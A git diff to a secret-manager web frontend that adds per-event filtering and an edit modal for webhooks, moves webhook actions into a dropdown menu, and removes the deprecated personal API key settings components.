     }
   }, [isOpen]);
 
   return (
     <Modal isOpen={isOpen} onOpenChange={onOpenChange}>
-      <ModalContent title="Create a new webhook">
+      <ModalContent ref={modalContainer} title="Create a new webhook">
         <form onSubmit={handleSubmit(onCreateWebhook)}>
           <div>
             <Controller
@@ -202,27 +258,79 @@ export const AddWebhookForm = ({
                   isRequired
                   isError={Boolean(error)}
                   errorText={error?.message}
+                  helperText="Enter `/` to match all secret paths in the selected environment."
                 >
                   <SecretPathInput {...field} environment={selectedEnvironment} placeholder="/" />
                 </FormControl>
               )}
             />
             {renderFormFields()}
+            <Accordion type="single" collapsible className="w-full">
+              <AccordionItem value="advanced-settings" className="data-[state=open]:border-none">
+                <AccordionTrigger className="h-fit flex-none pl-1 text-sm">
+                  <div className="order-1 ml-3">Advanced Settings</div>
+                </AccordionTrigger>
+                <AccordionContent childrenClassName="p-0 pt-2">
+                  <Controller
+                    control={control}
+                    name="enabledEvents"
+                    render={({ field: { value, onChange } }) => {
+                      const selectedOptions = EVENT_OPTIONS.filter(
+                        (option) => value?.[option.value]
+                      );
+                      const hasSelection = selectedOptions.length > 0;
+
+                      const handleChange = (selected: readonly TWebhookEventOption[]) => {
+                        const next = WEBHOOK_EVENTS.reduce<Record<WebhookEvent, boolean>>(
+                          (acc, event) => {
+                            acc[event] = false;
+                            return acc;
+                          },
+                          {} as Record<WebhookEvent, boolean>
+                        );
+                        selected.forEach((option) => {
+                          next[option.value] = true;
+                        });
+                        onChange(next);
+                      };
+
+                      return (
+                        <FormControl
+                          label="Events"
+                          helperText={
+                            !hasSelection
+                              ? "No events selected — the webhook will fire on all events."
+                              : "Select which events will trigger this webhook."
+                          }
+                        >
+                          <FilterableSelect
+                            isMulti
+                            options={EVENT_OPTIONS}
+                            value={selectedOptions}
+                            onChange={(selected) =>
+                              handleChange(selected as readonly TWebhookEventOption[])
+                            }
+                            getOptionValue={(option) => option.value}
+                            getOptionLabel={(option) => option.label}
+                            placeholder="Select events..."
+                            menuPortalTarget={modalContainer.current}
+                            menuPlacement="bottom"
+                            closeMenuOnSelect={false}
+                            hideSelectedOptions={false}
+                            components={{ Option: OptionWithDescription }}
+                          />
+                        </FormControl>
+                      );
+                    }}
+                  />
+                </AccordionContent>
+              </AccordionItem>
+            </Accordion>
           </div>
-          <div className="mt-8 flex items-center">
-            <Button
-              className="mr-4"
-              type="submit"
-              isDisabled={isSubmitting}
-              isLoading={isSubmitting}
-            >
-              Create
+          <div className="mt-8 flex items-center justify-end">
+            <Button type="submit" isDisabled={isSubmitting} isLoading={isSubmitting}>
+              Create webhook
             </Button>
-            <ModalClose asChild>
-              <Button variant="plain" colorSchema="secondary">
-                Cancel
-              </Button>
-            </ModalClose>
           </div>
         </form>
       </ModalContent>
diff --git a/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/EditWebhookEventsModal.tsx b/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/EditWebhookEventsModal.tsx
new file mode 100644
index 00000000000..68e99c988e1
--- /dev/null
+++ b/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/EditWebhookEventsModal.tsx
@@ -0,0 +1,170 @@
+import { FormEvent, useEffect, useMemo, useRef, useState } from "react";
+import { components, OptionProps } from "react-select";
+import { CheckIcon } from "lucide-react";
+
+import { Button, FilterableSelect, FormControl, Modal, ModalContent } from "@app/components/v2";
+import {
+  TWebhook,
+  WEBHOOK_EVENT_METADATA,
+  WEBHOOK_EVENTS,
+  WebhookEvent
+} from "@app/hooks/api/webhooks/types";
+
+type TWebhookEventSettings = Record<WebhookEvent, boolean>;
+type TWebhookEventOption = {
+  value: WebhookEvent;
+  label: string;
+  description: string;
+};
+
+type Props = {
+  isOpen?: boolean;
+  webhook?: TWebhook;
+  isSubmitting?: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  onSave: (settings: TWebhookEventSettings) => Promise<void>;
+};
+
+const EVENT_OPTIONS: TWebhookEventOption[] = WEBHOOK_EVENTS.map((event) => ({
+  value: event,
+  label: WEBHOOK_EVENT_METADATA[event].label,
+  description: WEBHOOK_EVENT_METADATA[event].description
+}));
+
+const OptionWithDescription = (props: OptionProps<TWebhookEventOption>) => {
+  const { data, children, isSelected } = props;
+
+  return (
+    <components.Option {...props}>
+      <div className="flex flex-row items-center justify-between">
+        <div className="min-w-0 flex-1">
+          <p className="truncate font-medium">{children}</p>
+          <p className="truncate text-xs leading-4 text-mineshaft-400">{data.description}</p>
+        </div>
+        {isSelected && <CheckIcon className="ml-2 size-4 shrink-0" />}
+      </div>
+    </components.Option>
+  );
+};
+
+const buildAllEnabled = (): TWebhookEventSettings =>
+  WEBHOOK_EVENTS.reduce<TWebhookEventSettings>((acc, event) => {
+    acc[event] = true;
+    return acc;
+  }, {} as TWebhookEventSettings);
+
+const buildAllDisabled = (): TWebhookEventSettings =>
+  WEBHOOK_EVENTS.reduce<TWebhookEventSettings>((acc, event) => {
+    acc[event] = false;
+    return acc;
+  }, {} as TWebhookEventSettings);
+
+export const EditWebhookEventsModal = ({
+  isOpen,
+  webhook,
+  isSubmitting,
+  onOpenChange,
+  onSave
+}: Props) => {
+  const defaultSettings = useMemo<TWebhookEventSettings>(
+    () => ({
+      [WebhookEvent.SecretModified]: true,
+      [WebhookEvent.SecretRotationFailed]: true
+    }),
+    []
+  );
+  const [eventSettings, setEventSettings] = useState<TWebhookEventSettings>(defaultSettings);
+  const modalContainer = useRef<HTMLDivElement>(null);
+
+  useEffect(() => {
+    if (!isOpen) return;
+
+    if (!webhook) {
+      setEventSettings(defaultSettings);
+      return;
+    }
+
+    if (webhook.eventsFilter.length === 0) {
+      setEventSettings(buildAllEnabled());
+      return;
+    }
+
+    const filteredEventNames = new Set(webhook.eventsFilter.map((e) => e.eventName));
+    setEventSettings(
+      WEBHOOK_EVENTS.reduce<TWebhookEventSettings>((acc, event) => {
+        acc[event] = filteredEventNames.has(event);
+        return acc;
+      }, {} as TWebhookEventSettings)
+    );
+  }, [isOpen, webhook, defaultSettings]);
+
+  const selectedOptions = useMemo(
+    () => EVENT_OPTIONS.filter((option) => eventSettings[option.value]),
+    [eventSettings]
+  );
+
+  const hasSelection = selectedOptions.length > 0;
+
+  const handleChange = (selected: readonly TWebhookEventOption[]) => {
+    const next = buildAllDisabled();
+    selected.forEach((option) => {
+      next[option.value] = true;
+    });
+    setEventSettings(next);
+  };
+
+  const handleSave = async (e: FormEvent<HTMLFormElement>) => {
+    e.preventDefault();
+    await onSave(eventSettings);
+  };
+
+  return (
+    <Modal isOpen={isOpen} onOpenChange={onOpenChange}>
+      <ModalContent
+        ref={modalContainer}
+        title="Edit Webhook Events"
+        subTitle="Select which events should trigger this webhook."
+      >
+        <form onSubmit={handleSave}>
+          <FormControl
+            label="Events"
+            helperText={
+              !hasSelection
+                ? "No events selected. The webhook will trigger on all events by default."
+                : undefined
+            }
+          >
+            <FilterableSelect
+              isMulti
+              options={EVENT_OPTIONS}
+              value={selectedOptions}
+              onChange={(selected) => handleChange(selected as readonly TWebhookEventOption[])}
+              getOptionValue={(option) => option.value}
+              getOptionLabel={(option) => option.label}
+              placeholder="Select events..."
+              menuPortalTarget={modalContainer.current}
+              menuPlacement="bottom"
+              closeMenuOnSelect={false}
+              hideSelectedOptions={false}
+              components={{ Option: OptionWithDescription }}
+            />
+          </FormControl>
+
+          <div className="mt-6 flex items-center justify-end space-x-4">
+            <Button
+              type="button"
+              variant="plain"
+              colorSchema="secondary"
+              onClick={() => onOpenChange(false)}
+            >
+              Cancel
+            </Button>
+            <Button type="submit" isDisabled={isSubmitting} isLoading={isSubmitting}>
+              Save Changes
+            </Button>
+          </div>
+        </form>
+      </ModalContent>
+    </Modal>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/WebhooksTab.tsx b/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/WebhooksTab.tsx
index 5296bc4ad0e..b5407c7e795 100644
--- a/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/WebhooksTab.tsx
+++ b/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/WebhooksTab.tsx
@@ -1,5 +1,14 @@
 import { useTranslation } from "react-i18next";
-import { faInfoCircle, faPlug, faPlus } from "@fortawesome/free-solid-svg-icons";
+import {
+  faEllipsisV,
+  faInfoCircle,
+  faPencil,
+  faPlug,
+  faPlus,
+  faToggleOff,
+  faToggleOn,
+  faTrash
+} from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { format } from "date-fns";
 
@@ -8,16 +17,23 @@ import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Button,
   DeleteActionModal,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
   EmptyState,
+  IconButton,
   Table,
   TableContainer,
   TableSkeleton,
   TBody,
   Td,
+  Th,
   THead,
   Tooltip,
   Tr
 } from "@app/components/v2";
+import { Badge } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useProject } from "@app/context";
 import { withProjectPermission } from "@app/hoc";
 import { usePopUp } from "@app/hooks";
@@ -28,8 +44,15 @@ import {
   useTestWebhook,
   useUpdateWebhook
 } from "@app/hooks/api";
+import {
+  TWebhook,
+  WEBHOOK_EVENT_METADATA,
+  WEBHOOK_EVENTS,
+  WebhookEvent
+} from "@app/hooks/api/webhooks/types";
 
 import { AddWebhookForm, TFormSchema } from "./AddWebhookForm";
+import { EditWebhookEventsModal } from "./EditWebhookEventsModal";
 
 export const WebhooksTab = withProjectPermission(
   () => {
@@ -39,7 +62,8 @@ export const WebhooksTab = withProjectPermission(
     const projectId = currentProject?.id || "";
     const { popUp, handlePopUpOpen, handlePopUpToggle, handlePopUpClose } = usePopUp([
       "addWebhook",
-      "deleteWebhook"
+      "deleteWebhook",
+      "editWebhook"
     ] as const);
 
     const { data: webhooks, isPending: isWebhooksLoading } = useGetWebhooks(projectId);
@@ -59,8 +83,14 @@ export const WebhooksTab = withProjectPermission(
     const { mutateAsync: deleteWebhook } = useDeleteWebhook();
 
     const handleWebhookCreate = async (data: TFormSchema) => {
+      // eventsFilter is the allowlist of events to trigger on
+      const eventsFilter = WEBHOOK_EVENTS.filter((event) => data.enabledEvents[event]).map(
+        (event) => ({ eventName: event })
+      );
+
       await createWebhook({
         ...data,
+        eventsFilter,
         projectId
       });
       handlePopUpClose("addWebhook");
@@ -82,6 +112,27 @@ export const WebhooksTab = withProjectPermission(
       });
     };
 
+    const handleWebhookEventsUpdate = async (
+      webhookId: string,
+      settings: Record<WebhookEvent, boolean>
+    ) => {
+      // eventsFilter is the allowlist — every checked event goes in.
+      const eventsFilter = WEBHOOK_EVENTS.filter((event) => settings[event]).map((event) => ({
+        eventName: event
+      }));
+
+      await updateWebhook({
+        webhookId,
+        projectId,
+        eventsFilter
+      });
+      handlePopUpClose("editWebhook");
+      createNotification({
+        type: "success",
+        text: "Successfully updated webhook events"
+      });
+    };
+
     const handleWebhookDelete = async () => {
       const webhookId = popUp?.deleteWebhook?.data as string;
       await deleteWebhook({
@@ -131,25 +182,37 @@ export const WebhooksTab = withProjectPermission(
             <Table>
               <THead>
                 <Tr>
-                  <Td>URL</Td>
-                  <Td>Environment</Td>
-                  <Td>Secret Path</Td>
-                  <Td>Status</Td>
-                  <Td className="text-right">Action</Td>
+                  <Th className="w-1/3">URL</Th>
+                  <Th className="w-1/5">Environment</Th>
+                  <Th className="w-1/5">Secret Path</Th>
+                  <Th>
+                    <div className="flex items-center gap-1">
+                      <span>Events</span>
+                      <Tooltip content="Events that are configured to trigger this webhook.">
+                        <FontAwesomeIcon
+                          icon={faInfoCircle}
+                          size="xs"
+                          className="text-mineshaft-400"
+                        />
+                      </Tooltip>
+                    </div>
+                  </Th>
+                  <Th>Status</Th>
+                  <Th />
                 </Tr>
               </THead>
               <TBody>
-                {isWebhooksLoading && <TableSkeleton columns={5} innerKey="webhooks-loading" />}
+                {isWebhooksLoading && <TableSkeleton columns={6} innerKey="webhooks-loading" />}
                 {!isWebhooksLoading && webhooks && webhooks?.length === 0 && (
                   <Tr>
-                    <Td colSpan={5}>
+                    <Td colSpan={6}>
                       <EmptyState title="No webhooks found" icon={faPlug} />
                     </Td>
                   </Tr>
                 )}
                 {!isWebhooksLoading &&
-                  webhooks?.map(
-                    ({
+                  webhooks?.map((webhook) => {
+                    const {
                       id,
                       url,
                       environment,
@@ -158,16 +221,68 @@ export const WebhooksTab = withProjectPermission(
                       isDisabled,
                       updatedAt,
                       lastRunErrorMessage
-                    }) => (
+                    } = webhook;
+
+                    // eventsFilter is the allowlist — empty means every event is enabled.
+                    const filteredSet = new Set(webhook.eventsFilter.map((e) => e.eventName));
+                    const enabledEvents =
+                      webhook.eventsFilter.length === 0
+                        ? [...WEBHOOK_EVENTS]
+                        : WEBHOOK_EVENTS.filter((event) => filteredSet.has(event));
+                    const enabledEventsCount = enabledEvents.length;
+                    const hasEnabledEvents = enabledEventsCount > 0;
+                    const allEventsEnabled = enabledEventsCount === WEBHOOK_EVENTS.length;
+
+                    return (
                       <Tr key={id}>
-                        <Td className="max-w-xs overflow-hidden text-ellipsis hover:overflow-auto hover:break-all">
-                          {url}
-                          <p className="text-xs text-mineshaft-400">{id}</p>
+                        <Td className="max-w-0">
+                          <Tooltip
+                            className="max-w-2xl"
+                            content={<span className="break-all">{url}</span>}
+                          >
+                            <div>
+                              <p className="truncate">{url}</p>
+                              <p className="truncate text-xs text-mineshaft-400">{id}</p>
+                            </div>
+                          </Tooltip>
+                        </Td>
+                        <Td className="max-w-0">
+                          <p className="truncate">{environment.slug}</p>
+                        </Td>
+                        <Td className="max-w-0">
+                          <p className="truncate">{secretPath}</p>
                         </Td>
-                        <Td>{environment.slug}</Td>
-                        <Td>{secretPath}</Td>
                         <Td>
-                          {!lastStatus ? (
+                          <Tooltip
+                            content={
+                              hasEnabledEvents ? (
+                                <div className="text-xs">
+                                  <p className="mb-1 font-medium">Enabled Events:</p>
+                                  <ul className="list-disc space-y-0.5 pl-4">
+                                    {enabledEvents.map((event) => (
+                                      <li key={event}>{WEBHOOK_EVENT_METADATA[event].label}</li>
+                                    ))}
+                                  </ul>
+                                </div>
+                              ) : (
+                                "This webhook is not triggered by any events."
+                              )
+                            }
+                          >
+                            <Badge variant="neutral">
+                              {allEventsEnabled && "All Events"}
+                              {!hasEnabledEvents && "No Events"}
+                              {hasEnabledEvents &&
+                                !allEventsEnabled &&
+                                `${enabledEventsCount} Event${enabledEventsCount === 1 ? "" : "s"}`}
+                            </Badge>
+                          </Tooltip>
+                        </Td>
+                        <Td>
+                          {/* eslint-disable-next-line no-nested-ternary */}
+                          {isDisabled ? (
+                            <Badge variant="neutral">Disabled</Badge>
+                          ) : !lastStatus ? (
                             "-"
                           ) : (
                             <div className="inline-flex w-min items-center rounded-sm bg-mineshaft-600 px-2 py-0.5 text-sm">
@@ -221,50 +336,79 @@ export const WebhooksTab = withProjectPermission(
                                 </Button>
                               )}
                             </ProjectPermissionCan>
-                            <ProjectPermissionCan
-                              I={ProjectPermissionActions.Edit}
-                              a={ProjectPermissionSub.Webhooks}
-                            >
-                              {(isAllowed) => (
-                                <Button
-                                  variant="outline_bg"
-                                  size="xs"
-                                  onClick={() => handleWebhookDisable(id, !isDisabled)}
-                                  isDisabled={
-                                    (isUpdateWebhookSubmitting &&
-                                      updateWebhookVars?.webhookId === id) ||
-                                    !isAllowed
-                                  }
-                                  isLoading={
-                                    isUpdateWebhookSubmitting && updateWebhookVars?.webhookId === id
-                                  }
+                            <DropdownMenu>
+                              <DropdownMenuTrigger asChild>
+                                <IconButton
+                                  ariaLabel="Options"
+                                  colorSchema="secondary"
+                                  className="w-6"
+                                  variant="plain"
                                 >
-                                  {isDisabled ? "Enable" : "Disable"}
-                                </Button>
-                              )}
-                            </ProjectPermissionCan>
-                            <ProjectPermissionCan
-                              I={ProjectPermissionActions.Delete}
-                              a={ProjectPermissionSub.Webhooks}
-                            >
-                              {(isAllowed) => (
-                                <Button
-                                  variant="outline_bg"
-                                  className="border-red-800 bg-red-800 hover:border-red-700 hover:bg-red-700"
-                                  colorSchema="danger"
-                                  size="xs"
-                                  isDisabled={!isAllowed}
-                                  onClick={() => handlePopUpOpen("deleteWebhook", id)}
+                                  <FontAwesomeIcon icon={faEllipsisV} />
+                                </IconButton>
+                              </DropdownMenuTrigger>
+                              <DropdownMenuContent
+                                sideOffset={2}
+                                align="end"
+                                className="min-w-48 p-1"
+                              >
+                                <ProjectPermissionCan
+                                  I={ProjectPermissionActions.Edit}
+                                  a={ProjectPermissionSub.Webhooks}
                                 >
-                                  Delete
-                                </Button>
-                              )}
-                            </ProjectPermissionCan>
+                                  {(isAllowed) => (
+                                    <DropdownMenuItem
+                                      onClick={() => handlePopUpOpen("editWebhook", webhook)}
+                                      isDisabled={!isAllowed}
+                                      icon={<FontAwesomeIcon icon={faPencil} />}
+                                    >
+                                      Edit
+                                    </DropdownMenuItem>
+                                  )}
+                                </ProjectPermissionCan>
+                                <ProjectPermissionCan
+                                  I={ProjectPermissionActions.Edit}
+                                  a={ProjectPermissionSub.Webhooks}
+                                >
+                                  {(isAllowed) => (
+                                    <DropdownMenuItem
+                                      onClick={() => handleWebhookDisable(id, !isDisabled)}
+                                      isDisabled={
+                                        (isUpdateWebhookSubmitting &&
+                                          updateWebhookVars?.webhookId === id) ||
+                                        !isAllowed
+                                      }
+                                      icon={
+                                        <FontAwesomeIcon
+                                          icon={isDisabled ? faToggleOn : faToggleOff}
+                                        />
+                                      }
+                                    >
+                                      {isDisabled ? "Enable" : "Disable"}
+                                    </DropdownMenuItem>
+                                  )}
+                                </ProjectPermissionCan>
+                                <ProjectPermissionCan
+                                  I={ProjectPermissionActions.Delete}
+                                  a={ProjectPermissionSub.Webhooks}
+                                >
+                                  {(isAllowed) => (
+                                    <DropdownMenuItem
+                                      onClick={() => handlePopUpOpen("deleteWebhook", id)}
+                                      isDisabled={!isAllowed}
+                                      icon={<FontAwesomeIcon icon={faTrash} />}
+                                    >
+                                      Delete
+                                    </DropdownMenuItem>
+                                  )}
+                                </ProjectPermissionCan>
+                              </DropdownMenuContent>
+                            </DropdownMenu>
                           </div>
                         </Td>
                       </Tr>
-                    )
-                  )}
+                    );
+                  })}
               </TBody>
             </Table>
           </TableContainer>
@@ -283,6 +427,20 @@ export const WebhooksTab = withProjectPermission(
           onClose={() => handlePopUpClose("deleteWebhook")}
           onDeleteApproved={handleWebhookDelete}
         />
+        <EditWebhookEventsModal
+          isOpen={popUp.editWebhook.isOpen}
+          onOpenChange={(isOpen) => handlePopUpToggle("editWebhook", isOpen)}
+          webhook={popUp.editWebhook.data as TWebhook | undefined}
+          isSubmitting={
+            isUpdateWebhookSubmitting &&
+            updateWebhookVars?.webhookId === (popUp.editWebhook.data as TWebhook | undefined)?.id
+          }
+          onSave={async (settings) => {
+            const webhookId = (popUp.editWebhook.data as TWebhook | undefined)?.id;
+            if (!webhookId) return;
+            await handleWebhookEventsUpdate(webhookId, settings);
+          }}
+        />
       </div>
     );
   },
diff --git a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/APIKeySection.tsx b/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/APIKeySection.tsx
deleted file mode 100644
index 582da840a48..00000000000
--- a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/APIKeySection.tsx
+++ /dev/null
@@ -1,37 +0,0 @@
-import { useTranslation } from "react-i18next";
-import { faPlus } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-
-import { Button, Tooltip } from "@app/components/v2";
-import { usePopUp } from "@app/hooks/usePopUp";
-
-import { AddAPIKeyModal } from "./AddAPIKeyModal";
-import { APIKeyTable } from "./APIKeyTable";
-
-export const APIKeySection = () => {
-  const { t } = useTranslation();
-  const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp(["addAPIKey"] as const);
-
-  return (
-    <div className="mb-6 rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <div className="mb-8 flex justify-between">
-        <p className="text-xl font-medium text-mineshaft-100">
-          {t("settings.personal.api-keys.title")}
-        </p>
-        <Tooltip content="API Keys are deprecated and will be removed in the future.">
-          <Button
-            isDisabled
-            colorSchema="secondary"
-            type="submit"
-            leftIcon={<FontAwesomeIcon icon={faPlus} />}
-            onClick={() => handlePopUpOpen("addAPIKey")}
-          >
-            Add API Key
-          </Button>
-        </Tooltip>
-      </div>
-      <APIKeyTable />
-      <AddAPIKeyModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
-    </div>
-  );
-};
diff --git a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/APIKeyTable.tsx b/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/APIKeyTable.tsx
deleted file mode 100644
index cf2960ada3c..00000000000
--- a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/APIKeyTable.tsx
+++ /dev/null
@@ -1,83 +0,0 @@
-import { faKey, faXmark } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { format } from "date-fns";
-
-import { createNotification } from "@app/components/notifications";
-import {
-  EmptyState,
-  IconButton,
-  Table,
-  TableContainer,
-  TableSkeleton,
-  TBody,
-  Td,
-  Th,
-  THead,
-  Tr
-} from "@app/components/v2";
-import { useDeleteAPIKey, useGetMyAPIKeys } from "@app/hooks/api";
-
-export const APIKeyTable = () => {
-  const { data, isPending } = useGetMyAPIKeys();
-  const { mutateAsync } = useDeleteAPIKey();
-
-  const handleDeleteAPIKeyDataClick = async (apiKeyDataId: string) => {
-    await mutateAsync(apiKeyDataId);
-    createNotification({
-      text: "Successfully deleted API key",
-      type: "success"
-    });
-  };
-
-  return (
-    <TableContainer>
-      <Table>
-        <THead>
-          <Tr>
-            <Th className="flex-1">Name</Th>
-            <Th className="flex-1">Last active</Th>
-            <Th className="flex-1">Created</Th>
-            <Th className="flex-1">Expiration</Th>
-            <Th className="w-5" />
-          </Tr>
-        </THead>
-        <TBody>
-          {isPending && <TableSkeleton columns={4} innerKey="api-keys" />}
-          {!isPending &&
-            data &&
-            data.length > 0 &&
-            data.map(({ id, name, createdAt, expiresAt, lastUsed }) => {
-              return (
-                <Tr className="h-10" key={`api-key-${id}`}>
-                  <Td>{name}</Td>
-                  <Td>{format(new Date(lastUsed), "yyyy-MM-dd")}</Td>
-                  <Td>{format(new Date(createdAt), "yyyy-MM-dd")}</Td>
-                  <Td>{format(new Date(expiresAt), "yyyy-MM-dd")}</Td>
-                  <Td>
-                    <IconButton
-                      onClick={async () => {
-                        await handleDeleteAPIKeyDataClick(id);
-                      }}
-                      size="lg"
-                      colorSchema="danger"
-                      variant="plain"
-                      ariaLabel="update"
-                    >
-                      <FontAwesomeIcon icon={faXmark} />
-                    </IconButton>
-                  </Td>
-                </Tr>
-              );
-            })}
-          {!isPending && data && data?.length === 0 && (
-            <Tr>
-              <Td colSpan={5}>
-                <EmptyState title="No API Keys on file" icon={faKey} />
-              </Td>
-            </Tr>
-          )}
-        </TBody>
-      </Table>
-    </TableContainer>
-  );
-};
diff --git a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/AddAPIKeyModal.tsx b/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/AddAPIKeyModal.tsx
deleted file mode 100644
index f28c39339f7..00000000000
--- a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/AddAPIKeyModal.tsx
+++ /dev/null
@@ -1,177 +0,0 @@
-import { useEffect, useState } from "react";
-import { Controller, useForm } from "react-hook-form";
-import { faCheck, faCopy } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
-import { zodResolver } from "@hookform/resolvers/zod";
-import { z } from "zod";
-
-import { createNotification } from "@app/components/notifications";
-import {
-  Button,
-  FormControl,
-  IconButton,
-  Input,
-  Modal,
-  ModalContent,
-  Select,
-  SelectItem
-} from "@app/components/v2";
-import { useToggle } from "@app/hooks";
-import { useCreateAPIKey } from "@app/hooks/api";
-import { UsePopUpState } from "@app/hooks/usePopUp";
-
-const expirations = [
-  { label: "1 day", value: "1d" },
-  { label: "7 days", value: "7d" },
-  { label: "1 month", value: "1mo" },
-  { label: "6 months", value: "6mo" },
-  { label: "12 months", value: "12mo" }
-];
-
-const expirationMapping: { [key: string]: number } = {
-  "1d": 86400,
-  "7d": 604800,
-  "1mo": 2592000,
-  "6mo": 15552000,
-  "12mo": 31104000
-};
-
-const schema = z
-  .object({
-    name: z.string(),
-    expiresIn: z.string()
-  })
-  .required();
-
-export type FormData = z.infer<typeof schema>;
-
-type Props = {
-  popUp: UsePopUpState<["addAPIKey"]>;
-  handlePopUpToggle: (popUpName: keyof UsePopUpState<["addAPIKey"]>, state?: boolean) => void;
-};
-
-export const AddAPIKeyModal = ({ popUp, handlePopUpToggle }: Props) => {
-  const [newAPIKey, setNewAPIKey] = useState("");
-  const [isAPIKeyCopied, setIsAPIKeyCopied] = useToggle(false);
-
-  const { mutateAsync, isPending } = useCreateAPIKey();
-
-  const { control, handleSubmit, reset } = useForm<FormData>({
-    resolver: zodResolver(schema)
-  });
-
-  useEffect(() => {
-    let timer: NodeJS.Timeout;
-
-    if (isAPIKeyCopied) {
-      timer = setTimeout(() => setIsAPIKeyCopied.off(), 2000);
-    }
-
-    return () => clearTimeout(timer);
-  }, [setIsAPIKeyCopied]);
-
-  const copyTokenToClipboard = () => {
-    navigator.clipboard.writeText(newAPIKey);
-    setIsAPIKeyCopied.on();
-  };
-
-  const onFormSubmit = async ({ name, expiresIn }: FormData) => {
-    const { apiKey } = await mutateAsync({
-      name,
-      expiresIn: expirationMapping[expiresIn]
-    });
-
-    setNewAPIKey(apiKey);
-
-    createNotification({
-      text: "Successfully created API key",
-      type: "success"
-    });
-
-    reset();
-  };
-
-  const hasAPIKey = Boolean(newAPIKey);
-
-  return (
-    <Modal
-      isOpen={popUp?.addAPIKey?.isOpen}
-      onOpenChange={(isOpen) => {
-        handlePopUpToggle("addAPIKey", isOpen);
-        reset();
-        setNewAPIKey("");
-      }}
-    >
-      <ModalContent title="Create API Key">
-        {!hasAPIKey ? (
-          <form onSubmit={handleSubmit(onFormSubmit)}>
-            <Controller
-              control={control}
-              defaultValue=""
-              name="name"
-              render={({ field, fieldState: { error } }) => (
-                <FormControl label="Name" isError={Boolean(error)} errorText={error?.message}>
-                  <Input {...field} placeholder="My API Key" />
-                </FormControl>
-              )}
-            />
-            <Controller
-              control={control}
-              name="expiresIn"
-              defaultValue="6mo"
-              render={({ field: { onChange, ...field }, fieldState: { error } }) => (
-                <FormControl label="Expiration" errorText={error?.message} isError={Boolean(error)}>
-                  <Select
-                    defaultValue={field.value}
-                    {...field}
-                    onValueChange={(e) => onChange(e)}
-                    className="w-full"
-                  >
-                    {expirations.map(({ label, value }) => (
-                      <SelectItem value={String(value || "")} key={`api-key-expiration-${label}`}>
-                        {label}
-                      </SelectItem>
-                    ))}
-                  </Select>
-                </FormControl>
-              )}
-            />
-            <div className="mt-8 flex items-center">
-              <Button
-                className="mr-4"
-                size="sm"
-                type="submit"
-                isLoading={isPending}
-                isDisabled={isPending}
-              >
-                Add
-              </Button>
-              <Button
-                colorSchema="secondary"
-                variant="plain"
-                onClick={() => handlePopUpToggle("addAPIKey", false)}
-              >
-                Cancel
-              </Button>
-            </div>
-          </form>
-        ) : (
-          <div className="mt-2 mr-2 mb-3 flex items-center justify-end rounded-md bg-white/[0.07] p-2 text-base text-gray-400">
-            <p className="mr-4 break-all">{newAPIKey}</p>
-            <IconButton
-              ariaLabel="copy icon"
-              colorSchema="secondary"
-              className="group relative"
-              onClick={copyTokenToClipboard}
-            >
-              <FontAwesomeIcon icon={isAPIKeyCopied ? faCheck : faCopy} />
-              <span className="group-hover:animate-fade-in absolute -top-20 -left-8 hidden w-28 translate-y-full rounded-md bg-bunker-800 py-2 pl-3 text-center text-sm text-gray-400 group-hover:flex">
-                Click to copy
-              </span>
-            </IconButton>
-          </div>
-        )}
-      </ModalContent>
-    </Modal>
-  );
-};
diff --git a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/index.tsx b/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/index.tsx
deleted file mode 100644
index f4bdf430e9b..00000000000
--- a/frontend/src/pages/user/PersonalSettingsPage/components/APIKeySection/index.tsx
+++ /dev/null
@@ -1 +0,0 @@
-export { APIKeySection } from "./APIKeySection";
diff --git a/frontend/src/pages/user/PersonalSettingsPage/components/PersonalAPIKeyTab/PersonalAPIKeyTab.tsx b/frontend/src/pages/user/PersonalSettingsPage/components/PersonalAPIKeyTab/PersonalAPIKeyTab.tsx
deleted file mode 100644
index ca1fa130ec4..00000000000
--- a/frontend/src/pages/user/PersonalSettingsPage/components/PersonalAPIKeyTab/PersonalAPIKeyTab.tsx
+++ /dev/null
@@ -1,5 +0,0 @@
-import { APIKeySection } from "../APIKeySection";
-
-export const PersonalAPIKeyTab = () => {
-  return <APIKeySection />;
-};
diff --git a/frontend/src/pages/user/PersonalSettingsPage/components/PersonalAPIKeyTab/index.tsx b/frontend/src/pages/user/PersonalSettingsPage/components/PersonalAPIKeyTab/index.tsx
deleted file mode 100644
index 50c77ba0a45..00000000000
--- a/frontend/src/pages/user/PersonalSettingsPage/components/PersonalAPIKeyTab/index.tsx
+++ /dev/null
@@ -1 +0,0 @@
-export { PersonalAPIKeyTab } from "./PersonalAPIKeyTab";
